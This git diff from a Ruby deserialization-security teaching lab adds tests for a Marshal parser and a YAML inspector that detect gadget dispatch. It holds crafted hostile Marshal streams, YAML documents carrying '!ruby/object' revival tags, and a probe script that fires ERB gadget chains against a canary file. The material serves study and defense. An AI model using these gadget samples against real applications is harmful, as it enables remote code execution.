BothArrayKey.new([1])], + "extended string (e)" => [(+"x").extend(RecordsBoth), (+"x").extend(RecordsBoth)], + "bare array holding a gadget" => [[BothPlainKey.new], [BothPlainKey.new]], + "bare array of primitives" => [[1, 2], [1, 2]], + "plain string" => [+"x", +"x"] + } + end + + def collision_blob(pair) + ::Marshal.dump({ pair.first => 1, pair.last => 2 }) + end + + def ruby_dispatches_during_load(pair) + blob = collision_blob(pair) + DISPATCHED.clear + ::Marshal.load(blob) + DISPATCHED.uniq.sort + end + + def parser_predicts_during_load(pair) + result = parse(collision_blob(pair)) + predicted = [] + predicted << :hash if result.hash_dispatching_keys.any? + predicted << :eql? if result.eql_dispatching_keys.any? + predicted.sort + end + + def test_key_dispatch_prediction_matches_real_ruby_for_hash_and_eql + observed = collision_probes.to_h { |label, pair| [label, ruby_dispatches_during_load(pair)] } + seen = observed.values.flatten.uniq + + assert_includes seen, :hash, "no probe dispatched #hash, so the oracle is dead" + assert_includes seen, :eql?, "no probe dispatched #eql?, so a one-key oracle would pass vacuously" + assert_includes observed.values, [], "every probe dispatched, so the oracle proves nothing" + + mismatches = collision_probes.filter_map do |label, pair| + predicted = parser_predicts_during_load(pair) + next if predicted == observed.fetch(label) + + "#{label}: ruby=#{observed.fetch(label).inspect} parser=#{predicted.inspect}" + end + + assert_empty mismatches, + "the detector names both methods in its reject reason, so it must model " \ + "both:\n #{mismatches.join("\n ")}" + end + + def test_a_string_subclass_key_skips_hash_and_still_reaches_eql + observed = ruby_dispatches_during_load(collision_probes.fetch("String subclass (C)")) + + assert_equal %i[eql?], observed, + "rb_any_hash fast-paths T_STRING so #hash is skipped, but rb_any_cmp " \ + "requires klass == rb_cString so #eql? is not" + end + + def test_a_collection_key_is_inspected_through_its_members + gadget = parse(collision_blob(collision_probes.fetch("bare array holding a gadget"))) + inert = parse(collision_blob(collision_probes.fetch("bare array of primitives"))) + + refute_empty gadget.hash_dispatching_keys, + "an array key hashes every element, so a gadget inside one dispatches" + assert_empty inert.hash_dispatching_keys, + "control: an array of primitives names no class, so flagging it would be " \ + "a false positive and the rule would be a blanket reject" + end + + def test_a_collection_key_reports_the_member_that_dispatches_not_the_container + result = parse(collision_blob(collision_probes.fetch("bare array holding a gadget"))) + named = result.hash_dispatching_keys.first.effective_class_name + + assert_equal "Marshalsea::Marshal::ParserTest::BothPlainKey", named, + "an operator needs the class that runs, not the anonymous array holding it" + end + + class CmpEndpoint + def <=>(_other) + DISPATCHED << :cmp + 0 + end + end + + def test_range_endpoints_dispatch_and_are_reported + blob = ::Marshal.dump(CmpEndpoint.new..CmpEndpoint.new) + DISPATCHED.clear + ::Marshal.load(blob) + + assert_includes DISPATCHED, :cmp, + "Range#marshal_load validates its endpoints, so <=> runs during load" + assert_empty parse(blob).sinks, + "control: Range carries no sink tag on this Ruby, so the sink rule cannot " \ + "be what catches this" + assert_equal ["Marshalsea::Marshal::ParserTest::CmpEndpoint"], + parse(blob).range_endpoint_dispatchers.map(&:effective_class_name).uniq + assert_equal 2, parse(blob).range_endpoint_dispatchers.length, + "range_init compares both endpoints, so both are reported" + end + + def test_a_range_of_primitives_is_not_reported + assert_empty parse(::Marshal.dump(1..5)).range_endpoint_dispatchers, + "control: primitive endpoints dispatch only builtin <=>" + end + def test_the_same_class_is_only_flagged_in_key_position in_key = parse(AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH[:object]) in_value = parse(AdversarialCorpus::OBJECT_IN_VALUE_POSITION) @@ -618,6 +781,26 @@ module Marshalsea assert_empty noisy.keys, "false positive on: #{noisy.keys.join(', ')}" end + def test_string_backed_key_shapes_are_flagged_on_eql_and_never_on_hash + shapes = AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY + + wrong_method = shapes.select { |_shape, bytes| parse(bytes).hash_dispatching_keys.any? } + assert_empty wrong_method.keys, + "rb_any_hash never reaches a user #hash for T_STRING, so claiming it does " \ + "would make the reject reason a false statement: #{wrong_method.keys.join(', ')}" + + missed = shapes.reject { |_shape, bytes| parse(bytes).eql_dispatching_keys.any? } + assert_empty missed.keys, "#eql? dispatch missed in: #{missed.keys.join(', ')}" + end + + def test_every_dispatching_key_shape_is_caught_by_the_hash_rule + blind = AdversarialCorpus::HASH_KEY_SHAPES_THAT_DISPATCH.reject do |_shape, bytes| + parse(bytes).hash_dispatching_keys.any? + end + + assert_empty blind.keys, "#hash dispatch missed in: #{blind.keys.join(', ')}" + end + def test_struct_member_name_slot_is_not_scanned_as_a_hash_key blob = AdversarialCorpus.stream( "S#{AdversarialCorpus.sym(AdversarialCorpus::OBJECT_CLASS)}" \ diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/psych/inspector_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/psych/inspector_test.rb new file mode 100644 index 00000000..2d96d755 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/psych/inspector_test.rb @@ -0,0 +1,258 @@ +# ©AngelaMos | 2026 +# inspector_test.rb +# frozen_string_literal: true + +require_relative "../test_helper" + +module Marshalsea + module Psych + class InspectorTest < Minitest::Test + FIRED = [] + + class WipedProxy + instance_methods.each { |m| undef_method m unless /^__|^object_id$/.match?(m) } + + def method_missing(name, *_args) + FIRED << name + name + end + + def respond_to_missing?(_name, _include_private = false) + true + end + end + + class Revived + def init_with(coder) + FIRED << :init_with + @cmd = coder["cmd"] + end + end + + class MarshalGadget + def marshal_load(_data) + FIRED << :marshal_load + end + + def marshal_dump = ["x"] + end + + BENIGN = "---\nuser: guest\nroles:\n - 1\n - 2\n" + + def setup + FIRED.clear + end + + def inspector(**) + Inspector.new(**) + end + + def object_document(class_name) + "--- !ruby/object:#{class_name}\ncmd: id\n" + end + + def test_a_document_of_plain_scalars_proceeds + assert_predicate inspector.inspect_document(BENIGN), :proceed? + end + + def test_it_rejects_non_string_input_without_converting_it + hostile = Object.new + def hostile.to_s = raise("to_s must never be called on untrusted input") + + decision = inspector.inspect_document(hostile) + assert_predicate decision, :blocked? + assert_equal Inspector::REASON_INPUT_TYPE, decision.reason + end + + def revival_documents + { + "!ruby/object" => ["--- !ruby/object:Alpha\na: 1\n", "init_with"], + "!ruby/hash" => ["--- !ruby/hash:Beta\na: 1\n", "[]="], + "!ruby/array" => ["--- !ruby/array:Gamma\ninternal: [1]\n", "init_with"], + "!ruby/struct" => ["--- !ruby/struct:Delta\na: 1\n", "init_with"], + "!ruby/exception" => ["--- !ruby/exception:Epsilon\nmessage: x\n", "init_with"], + "!ruby/marshalable" => ["--- !ruby/marshalable:Zeta\na: 1\n", "marshal_load"] + } + end + + def test_every_revival_tag_is_reported_with_the_method_it_would_dispatch + missed = revival_documents.reject do |_tag, (document, method_name)| + decision = inspector.inspect_document(document) + decision.blocked? && decision.reason.include?(method_name) + end + + assert_empty missed.keys, + "a reject reason must name how the class gets revived: #{missed.keys.join(', ')}" + end + + def test_a_class_in_a_mapping_key_is_reported_as_key_dispatch + decision = inspector.inspect_document("---\n? !ruby/object:KeyClass {}\n: value\n") + + assert_predicate decision, :blocked? + assert_includes decision.reason, "mapping key" + assert_includes decision.reason, "KeyClass" + end + + def test_the_same_class_in_a_value_is_reported_as_revival_not_key_dispatch + decision = inspector.inspect_document("---\nk: !ruby/object:KeyClass {}\n") + + assert_predicate decision, :blocked? + assert_includes decision.reason, "init_with" + refute_includes decision.reason, "mapping key", + "position is the signal, exactly as it is on the Marshal side" + end + + def test_an_allowlisted_class_proceeds + decision = inspector(permitted_class_names: %w[Alpha]).inspect_document(object_document("Alpha")) + + assert_predicate decision, :proceed? + end + + def test_an_allowlist_never_exempts_key_position_dispatch + decision = inspector(permitted_class_names: %w[KeyClass]) + .inspect_document("---\n? !ruby/object:KeyClass {}\n: v\n") + + assert_predicate decision, :blocked?, + "the mapping is rebuilt before any allowlist can act, so permitting " \ + "the class does not stop its #hash running" + end + + def test_it_rejects_a_malformed_document + decision = inspector.inspect_document("---\n\tbad: [\n") + + assert_predicate decision, :blocked? + assert_includes decision.reason, "MalformedDocumentError" + end + + def assert_ceiling_rejects(document, **narrow) + assert_predicate inspector.inspect_document(document), :proceed?, + "control: this document must be accepted under default limits, " \ + "or the ceiling is not what rejected it" + + decision = inspector(limits: Limits.new(**narrow)).inspect_document(document) + assert_predicate decision, :blocked? + assert_includes decision.reason, "LimitExceededError" + end + + def test_it_enforces_a_byte_ceiling + assert_ceiling_rejects(BENIGN, max_bytes: 8) + end + + def test_it_enforces_a_depth_ceiling + assert_ceiling_rejects("---\n#{'- ' * 40}1\n", max_depth: 4) + end + + def test_it_enforces_a_node_ceiling + assert_ceiling_rejects("---\n#{(1..40).map { |i| "k#{i}: #{i}" }.join("\n")}\n", max_nodes: 5) + end + + def test_it_enforces_an_alias_ceiling + aliased = "---\na: &x [1, 2]\n#{(1..20).map { |i| "k#{i}: *x" }.join("\n")}\n" + + assert_ceiling_rejects(aliased, max_aliases: 4) + end + + def test_it_enforces_a_document_ceiling + assert_ceiling_rejects("--- 1\n--- 2\n--- 3\n", max_documents: 2) + end + + def test_it_counts_aliases_rather_than_expanding_them + document = inspector.read("---\na: &x [1, 2]\nb: *x\nc: *x\n") + + assert_equal 2, document.alias_count + assert_operator document.node_count, :>, 0 + assert_equal 1, document.document_count + end + + def yaml_watcher(&) + fired = false + tracer = TracePoint.new(:call, :c_call) do |tp| + fired = true if %i[load unsafe_load safe_load].include?(tp.method_id) && + tp.self.equal?(::Psych) + end + tracer.enable(&) + fired + end + + def test_the_watcher_oracle_is_live + assert yaml_watcher { ::Psych.unsafe_load(BENIGN) }, + "oracle failed to observe a real load, so the next test would pass vacuously" + end + + def test_inspecting_never_loads_the_document + refute yaml_watcher { inspector.inspect_document(object_document("Alpha")) }, + "the inspector called into a Psych loader" + end + + def test_inspecting_revives_nothing + inspector.inspect_document("--- !ruby/object:Marshalsea::Psych::InspectorTest::Revived\ncmd: id\n") + + assert_empty FIRED, "init_with must not run during inspection" + end + + def test_psych_allowlist_is_a_veto_where_the_marshal_proc_is_a_post_mortem + document = "--- !ruby/object:Marshalsea::Psych::InspectorTest::Revived\ncmd: id\n" + assert_raises(::Psych::DisallowedClass) { ::Psych.safe_load(document, permitted_classes: []) } + assert_empty FIRED, + "Psych checks the tag before revival, so init_with never ran" + + FIRED.clear + blob = ::Marshal.dump(MarshalGadget.new) + begin + ::Marshal.load(blob, ->(object) { object }) + rescue StandardError + nil + end + assert_equal [:marshal_load], FIRED, + "Marshal runs its proc in r_post_proc, after load_funcall has already " \ + "fired the callback. Same intent, opposite outcome, decided by where " \ + "the check sits" + end + + def test_a_fully_wiped_proxy_is_a_yaml_entry_point_and_not_a_marshal_one + document = "--- !ruby/object:Marshalsea::Psych::InspectorTest::WipedProxy\ncmd: id\n" + ::Psych.unsafe_load(document) + + assert_includes FIRED, :init_with, + "Psych calls respond_to?(:init_with) as an ordinary Ruby call, so a " \ + "method-erased proxy answers through method_missing" + + FIRED.clear + stream = "\x04\bU:@Marshalsea::Psych::InspectorTest::WipedProxy0".b + marshal_outcome = begin + ::Marshal.load(stream) + :revived + rescue StandardError => e + e.class + end + + assert_empty FIRED, "the identical class is not reachable through Marshal" + refute_equal :revived, marshal_outcome + end + + def test_the_inspector_flags_that_same_proxy_document + decision = inspector.inspect_document( + "--- !ruby/object:Marshalsea::Psych::InspectorTest::WipedProxy\ncmd: id\n" + ) + + assert_predicate decision, :blocked? + assert_includes decision.reason, "init_with" + end + + def test_it_never_exposes_a_safety_claiming_api + %i[safe? trusted? sanitized? safe_load].each do |forbidden| + refute_respond_to inspector, forbidden, + "#{forbidden} implies a guarantee this inspector cannot make" + end + end + + def test_it_ships_a_notice_that_defers_to_psych_safe_load + notice = Inspector::LIMITATION_NOTICE + + assert_includes notice, "Prefer YAML.safe_load" + assert_includes notice, "checks the tag before" + assert_includes notice, "revives nothing" + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/scanner_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/scanner_test.rb index c94d3bc5..ec438fc7 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/scanner_test.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/scanner_test.rb @@ -3,6 +3,7 @@ # frozen_string_literal: true require_relative "test_helper" +require "tmpdir" module Marshalsea class ScannerTest < Minitest::Test @@ -142,12 +143,17 @@ module Marshalsea assert(report.candidates.all? { |c| c.class_name.start_with?("Marshalsea::ScannerTest") }) end - def test_report_partitions_gated_and_ungated + def test_report_partitions_every_candidate_by_gate report = local_scan - refute_empty report.gated, "a partition test proves nothing if one side is empty" - refute_empty report.ungated, "a partition test proves nothing if one side is empty" - assert_equal report.candidates.length, report.gated.length + report.ungated.length - assert_empty(report.gated & report.ungated) + soft = report.candidates.select(&:soft_gated?) + buckets = { gated: report.gated, ungated: report.ungated, links: report.links, soft: soft } + + buckets.except(:soft).each do |name, bucket| + refute_empty bucket, "a partition test proves nothing if #{name} is empty" + end + assert_equal report.candidates.length, buckets.values.sum(&:length), + "every gate value must land in exactly one bucket, or a candidate is invisible" + buckets.values.combination(2) { |left, right| assert_empty(left & right) } end def test_scan_is_deterministic @@ -281,7 +287,9 @@ module Marshalsea end def test_control_an_unreadable_candidate_is_reachable_on_exactly_that_basis - unreadable = scan.candidates.select(&:unreadable_source?).reject(&:gated?).select(&:zero_arity?) + unreadable = scan.candidates.select(&:unreadable_source?) + .select(&:entry_point?).reject(&:gated?).reject(&:soft_gated?) + .select(&:accepts_dispatch?) refute_empty unreadable, "control: without one of these the previous test is vacuous" assert(unreadable.all?(&:reachable?), @@ -332,6 +340,116 @@ module Marshalsea end end + def test_a_gated_hook_that_cannot_accept_the_call_is_not_reachable + wrong = candidates_for("Marshalsea::ScannerTest::WrongArityFixture").first + right = candidates_for("Marshalsea::ScannerTest::GatedFixture").first + + assert_equal 0, wrong.arity + refute_predicate wrong, :accepts_dispatch?, + "Marshal.load calls marshal_load with one argument, so an arity-0 hook " \ + "raises ArgumentError and the chain is dead" + refute_predicate wrong, :reachable? + assert_predicate right, :accepts_dispatch?, "control: the arity-1 hook must still qualify" + assert_predicate right, :reachable? + end + + def test_an_ungated_entry_point_that_takes_an_argument_is_still_reachable + candidate = candidates_for("Marshalsea::ScannerTest::ComparableFixture").first + + assert_equal "<=>", candidate.method_name + assert_equal 1, candidate.arity + refute_predicate candidate, :zero_arity? + assert_predicate candidate, :reachable?, + "Range#marshal_load supplies the argument, so arity 1 is what <=> must " \ + "have, not a reason to drop it" + end + + def test_a_link_method_is_recorded_and_never_called_an_entry_point + candidate = candidates_for("Marshalsea::ScannerTest::LinkFixture").first + + assert_equal "to_s", candidate.method_name + assert_predicate candidate, :link? + refute_predicate candidate, :entry_point? + refute_predicate candidate, :reachable?, + "research 02 4.2 verified Marshal.load never invokes to_s directly, so " \ + "reporting it as reachable is a false positive" + assert_includes local_scan.links.map(&:to_s), "Marshalsea::ScannerTest::LinkFixture#to_s", + "a link is how a chain continues and must not be discarded either" + end + + def test_a_private_singleton_load_is_discovered + found = candidates_for("Marshalsea::ScannerTest::PrivateLoadFixture") + + assert_equal ["_load"], found.map(&:method_name), + "Marshal.load reaches _load through rb_funcallv, which ignores visibility" + assert_predicate found.first, :gated? + assert_predicate found.first, :reachable? + end + + def test_control_a_public_singleton_load_is_still_discovered + assert_includes candidates_for("Marshalsea::ScannerTest::UserDefFixture").map(&:method_name), + "_load" + end + + BROKEN_SOURCE_PATH = File.join(Dir.tmpdir, "marshalsea-broken-fixture.rb") + + File.write(BROKEN_SOURCE_PATH, "class Unterminated\n def hash\n \"open\n") + Object.class_eval(<<~SOURCE, BROKEN_SOURCE_PATH, 2) + module Marshalsea + module ScannerRecoveredFixture + class Recovered + def hash + @seed.to_i + end + end + end + end + SOURCE + + def test_a_recovered_prism_parse_is_a_suppression_not_a_verdict + report = scan(namespace: "Marshalsea::ScannerRecoveredFixture") + candidate = report.candidates.first + + assert_equal 1, suppressions_at(report, Scanner::SITE_SOURCE_PARSE).length, + "Prism is error tolerant, so a file it could not parse must be counted" + refute_predicate candidate, :state_known?, + "a tree recovered from syntax errors cannot support a true or false verdict" + assert_predicate candidate, :unreadable_source? + assert_predicate candidate, :reachable?, "an unreadable source must fail open" + end + + def test_control_prism_really_does_recover_a_definition_from_that_file + parsed = Prism.parse_file(BROKEN_SOURCE_PATH) + + assert_predicate parsed, :failure? + refute_empty parsed.errors + refute_nil parsed.value, + "control: if Prism returned nothing there would be no wrong verdict to prevent" + end + + class WrongArityFixture + def marshal_load; end + end + + class ComparableFixture + def <=>(other) + @seed <=> other + end + end + + class LinkFixture + def to_s + @seed.to_s + end + end + + class PrivateLoadFixture + def self._load(_data) + allocate + end + private_class_method :_load + end + class ExplodingNameFixture @explode = false diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/support/adversarial_corpus.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/support/adversarial_corpus.rb index 60599625..7e4c761e 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/support/adversarial_corpus.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/support/adversarial_corpus.rb @@ -143,17 +143,36 @@ module Marshalsea object_link: stream("[#{fixnum(2)}#{PLAIN_OBJECT}{#{fixnum(1)}@#{fixnum(1)}0"), struct: stream("{#{fixnum(1)}S#{sym(OBJECT_CLASS)}#{fixnum(0)}0"), extended: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{PLAIN_OBJECT}0"), - user_class_over_array: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}[#{fixnum(0)}0") + user_class_over_array: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}[#{fixnum(0)}0"), + bare_array: stream("{#{fixnum(1)}[#{fixnum(1)}#{PLAIN_OBJECT}0"), + nested_bare_array: stream("{#{fixnum(1)}[#{fixnum(1)}[#{fixnum(1)}#{PLAIN_OBJECT}0") + }.freeze + + HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY = { + user_class_over_string: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}#{str('x')}0"), + extended_over_string: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{str('x')}0") }.freeze HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH = { - user_class_over_string: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}#{str('x')}0"), - extended_over_string: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{str('x')}0"), regexp: stream("{#{fixnum(1)}#{regexp('ab')}0"), symbol: stream("{#{fixnum(1)}#{sym('k')}0"), - string: stream("{#{fixnum(1)}#{str('k')}0") + string: stream("{#{fixnum(1)}#{str('k')}0"), + array_of_primitives: stream("{#{fixnum(1)}[#{fixnum(2)}i\x06i\x070"), + empty_array: stream("{#{fixnum(1)}[#{fixnum(0)}0") }.freeze + RANGE_CLASS = "Range" + + def range_stream(endpoint) + stream( + "o#{sym(RANGE_CLASS)}#{fixnum(3)}" \ + "#{sym('excl')}F#{sym('begin')}#{endpoint}#{sym('end')}#{endpoint}" + ) + end + + RANGE_WITH_OBJECT_ENDPOINTS = range_stream(PLAIN_OBJECT) + RANGE_WITH_PRIMITIVE_ENDPOINTS = range_stream("i\x06".b) + OBJECT_IN_VALUE_POSITION = stream("{#{fixnum(1)}#{sym('k')}#{PLAIN_OBJECT}") @@ -296,17 +315,41 @@ module Marshalsea "an Array subclass in key position dispatches the subclass #hash", allowed: [OBJECT_CLASS]), - entry(:hash_key_user_class_over_string, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:user_class_over_string], - VERDICT_ACCEPT, - "precision control: rb_any_hash keys on T_STRING, so a String subclass never " \ - "reaches a user #hash and rejecting it would be a false positive", + entry(:hash_key_bare_array, HASH_KEY_SHAPES_THAT_DISPATCH[:bare_array], VERDICT_REJECT, + "an array key names no class of its own, but rb_ary_hash hashes every element, " \ + "so the object inside it dispatches. Both key rules cover this shape, so the " \ + "verdict alone cannot isolate either; parser_test asserts the hash rule directly", allowed: [OBJECT_CLASS]), - entry(:hash_key_extended_over_string, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:extended_over_string], - VERDICT_ACCEPT, - "same exemption when the string is reached through an extend wrapper", + entry(:hash_key_nested_bare_array, HASH_KEY_SHAPES_THAT_DISPATCH[:nested_bare_array], VERDICT_REJECT, + "one more level of anonymous nesting must not buy the same object a pass", + allowed: [OBJECT_CLASS]), + + entry(:hash_key_user_class_over_string, HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY[:user_class_over_string], + VERDICT_REJECT, + "rb_any_hash fast-paths T_STRING so #hash is skipped, but rb_any_cmp requires " \ + "klass == rb_cString, so a String subclass reaches a user #eql? on collision", + allowed: [OBJECT_CLASS]), + entry(:hash_key_extended_over_string, HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY[:extended_over_string], + VERDICT_REJECT, + "same asymmetry when the string is reached through an extend wrapper", allowed: [HOST_CLASS]), + entry(:hash_key_regexp, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:regexp], VERDICT_ACCEPT, - "a regexp key names no class, so the payload cannot choose whose #hash runs") + "a regexp key names no class, so the payload cannot choose whose #hash runs"), + entry(:hash_key_array_of_primitives, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:array_of_primitives], + VERDICT_ACCEPT, + "precision control: recursing into collection keys must not become a blanket " \ + "reject on every array"), + entry(:hash_key_empty_array, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:empty_array], VERDICT_ACCEPT, + "precision control: an empty collection has no member to dispatch anything"), + + entry(:range_with_object_endpoints, RANGE_WITH_OBJECT_ENDPOINTS, VERDICT_REJECT, + "range_loader calls range_init, which compares the endpoints, so <=> runs during " \ + "load on a stream carrying no sink tag and no hash key", + allowed: [OBJECT_CLASS, RANGE_CLASS]), + entry(:range_with_primitive_endpoints, RANGE_WITH_PRIMITIVE_ENDPOINTS, VERDICT_ACCEPT, + "precision control: primitive endpoints reach only the builtin <=>", + allowed: [RANGE_CLASS]) ].freeze end end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb index 98654fa2..4a8f17c8 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb @@ -7,39 +7,73 @@ require "marshalsea" CANARY_PATH = "/tmp/marshalsea-canary" CANARY_MARKER = "fired" + RESULT_FIRED = "FIRED" RESULT_BLOCKED = "BLOCKED" RESULT_INERT = "INERT" -erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s -chain = Marshalsea::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) -blob = chain.serialize - -inspection = Marshalsea::Marshal::Parser.new(blob).parse - -FileUtils.rm_f(CANARY_PATH) - -revived = Marshal.load(blob) -detail = begin - revived.def_method(Module.new, "marshalsea_probe") - "def_method returned" -rescue StandardError => e - "#{e.class}: #{e.message}" +def canary_present? + File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER end -fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER -outcome = if fired - RESULT_FIRED - elsif detail.start_with?("ArgumentError") - RESULT_BLOCKED - else - RESULT_INERT - end +def clear_canary + FileUtils.rm_f(CANARY_PATH) +end -predicted = Marshalsea::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED +def classify(fired, detail) + return RESULT_FIRED if fired + return RESULT_BLOCKED if detail.start_with?("ArgumentError") -puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s", - ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted, - inspection.class_names.join(","), detail) + RESULT_INERT +end -exit(outcome == predicted ? 0 : 1) +def observe + clear_canary + detail = begin + yield + "returned" + rescue StandardError => e + "#{e.class}: #{e.message}" + end + [canary_present?, detail] +end + +erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s +image = ENV.fetch("MATRIX_IMAGE", "?") + +chain = Marshalsea::Chains::ErbDefModule.canary(CANARY_PATH, CANARY_MARKER) +primitive = Marshalsea::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) + +chain_blob = chain.serialize +primitive_blob = primitive.serialize + +built_without_firing = !canary_present? + +chain_fired, chain_detail = observe { Marshal.load(chain_blob) } +chain_outcome = classify(chain_fired, chain_detail) + +primitive_load_fired, = observe { Marshal.load(primitive_blob) } +primitive_fired, primitive_detail = observe do + Marshal.load(primitive_blob).def_method(Module.new, "marshalsea_probe") +end +primitive_outcome = classify(primitive_fired, primitive_detail) + +clear_canary + +predicted = Marshalsea::Chains::ErbDefModule.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED +inspection = Marshalsea::Marshal::Parser.new(chain_blob).parse + +puts format("%-9s erb=%-9s chain=%-8s primitive=%-8s predicted=%-8s sinks=%d %s", + image, erb_version, chain_outcome, primitive_outcome, predicted, + inspection.sinks.length, chain_detail[0, 60]) + +checks = { + "builder_did_not_execute_its_own_payload" => built_without_firing, + "chain_matches_prediction" => chain_outcome == predicted, + "primitive_matches_prediction" => primitive_outcome == predicted, + "primitive_is_inert_until_the_application_calls_it" => !primitive_load_fired, + "chain_carries_no_sink_tag" => inspection.sinks.empty? +} + +checks.each { |name, ok| puts "#{name}=#{ok}" } +exit(checks.values.all? ? 0 : 1) diff --git a/README.md b/README.md index 36115f46..31db45a2 100644 --- a/README.md +++ b/README.md @@ -93,7 +93,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr | **[Network Traffic Analyzer](./PROJECTS/beginner/network-traffic-analyzer)**
Capture and analyze packets | ![3-5h](https://img.shields.io/badge/⏱️_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![C++](https://img.shields.io/badge/C%2B%2B-00599C?logo=cplusplus&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Packet capture • Protocol analysis • Traffic visualization
[Source (C++)](./PROJECTS/beginner/network-traffic-analyzer/cpp) \| [Docs (C++)](./PROJECTS/beginner/network-traffic-analyzer/cpp/learn) \| [Source (Python)](./PROJECTS/beginner/network-traffic-analyzer/python) \| [Docs (Python)](./PROJECTS/beginner/network-traffic-analyzer/python/learn) | | **[Hash Cracker](./PROJECTS/beginner/hash-cracker)**
Dictionary and brute-force cracking | ![3-4h](https://img.shields.io/badge/⏱️_5--6h-blue) ![C++](https://img.shields.io/badge/C%2B%2B-00599C?logo=cplusplus&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Hash algorithms • Dictionary attacks • Password security
[Source Code](./PROJECTS/beginner/hash-cracker) \| [Docs](./PROJECTS/beginner/hash-cracker/learn) | | **[Steganography Multi-Tool](./SYNOPSES/beginner/Steganography.Multi.Tool.md)**
Hide data in images, audio, QR, PDFs, text | ![8-10h](https://img.shields.io/badge/⏱️_8--10h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Multi-format steganography • Encrypted AEAD envelope • Zero-width Unicode • Audio LSB • QR Reed-Solomon injection
[Source Code](./PROJECTS/beginner/steganography-multi-tool) \| [Docs](./PROJECTS/beginner/steganography-multi-tool/learn) | -| **[Ghost on the Wire](./SYNOPSES/beginner/Ghost.On.The.Wire.md)**
L2 attack & defense: MAC spoofing + ARP detection | ![2-3h](https://img.shields.io/badge/⏱️_6--8h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | ARP protocol • MAC spoofing • MITM detection • L2 trust mapping
[Learn More](./SYNOPSES/beginner/Ghost.On.The.Wire.md) | +| **[Deserialization Gadget Lab](./PROJECTS/beginner/deserialization-gadget-lab)**
Read untrusted Marshal and YAML without ever reviving it, then break it | ![12-16h](https://img.shields.io/badge/⏱️_12--16h-blue) ![Ruby](https://img.shields.io/badge/Ruby-CC342D?logo=ruby&logoColor=white) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Gadget chains • Marshal binary format • Gated vs ungated dispatch • TracePoint veto • CVE-2026-41316
[Source Code](./PROJECTS/beginner/deserialization-gadget-lab) \| [Docs](./PROJECTS/beginner/deserialization-gadget-lab/learn)
[![gem: marshalsea](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea) | | **[Canary Token Generator](./PROJECTS/beginner/canary-token-generator)**
Self-hosted honeytokens that alert on access | ![2-3h](https://img.shields.io/badge/⏱️_8--10h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Deception defense • Honeytokens • MySQL wire protocol • PDF/DOCX patching • Webhook + Telegram alerting
[Source Code](./PROJECTS/beginner/canary-token-generator) \| [Docs](./PROJECTS/beginner/canary-token-generator/learn)
[![iglowinthedark.com](https://img.shields.io/badge/iglowinthedark.com-8B5CF6?style=flat&logo=googlechrome&logoColor=white)](https://iglowinthedark.com/) | | **[Phishing Domain Generator & Quishing Scanner](./SYNOPSES/beginner/Phishing.Domain.Generator.And.Quishing.Scanner.md)**
